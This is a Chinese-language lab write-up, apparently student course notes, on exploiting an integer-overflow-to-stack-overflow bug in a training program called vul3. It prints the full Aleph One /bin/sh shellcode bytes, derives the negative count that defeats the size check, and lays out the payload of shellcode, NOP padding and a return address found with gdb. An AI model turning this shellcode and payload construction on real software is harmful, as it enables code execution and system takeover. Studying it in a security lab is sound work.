實驗環境、代碼、及准備
https://www.cnblogs.com/lqerio/p/12870834.html
vul3
分析Vul3可知輸入為整數count和字符串in。vul3中使用if判斷來防溢出,問題在於一個足夠小點負數可以滿足 if 的條件進入memcpy函數,而負數*sizeof(widget_t)可能溢出產生正數。故要對vul3棧溢出攻擊只需要構造合適的負數count產生溢出和字符串in覆蓋buf然后覆蓋ebp,ret即可。
shellcode(構造過程)
原理是運行/bin/sh 來得到shell,構造過程是將具有運行/bin/sh的C代碼轉換成有相同功能的機器碼。注意代碼中用到 0 的地方改成用 xor eax,eax,這樣可以避免復制字符串時遇到/0 中斷。
下面的shellcode長度為45字節(不含/0)
/*
* Aleph One shellcode.
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
exploit3
由vul3可知buf數組20*1000=20000字節
溢出部分如下,widget-t結構體20字節。Count*20>20000即可。
if (count < MAX_WIDGETS)
memcpy(buf, in, count * sizeof(struct widget_t));
設count 為1001,符合1001*20>20000. 1001 16進制為\X3e9。
負數符號位為1,得到\x800003e9。計算可知由於溢出,20*\x3e9=20*\x800003e9。\x800003e9在計算機中存儲為補碼2147482647.故count為 -2147482647.
然后構造payload。Buf大小為20000字節,故返回地址在20008字節處。覆蓋該地址內存為buf的起始地址,然后buf覆蓋為shellcode即可。
Payload=count(12字節)+45字節shellcode+19965nop+4nop(ebp)+ret(buf基址)。
Buf基址:先隨便填payload,然后使用gdb調試得到;
Gdb vul3
set args 3,666
disas foo
break *0x0804850b
r
print &buf
得到buf基址 0xbfffa140
填充payload最后4字節即可
運行結果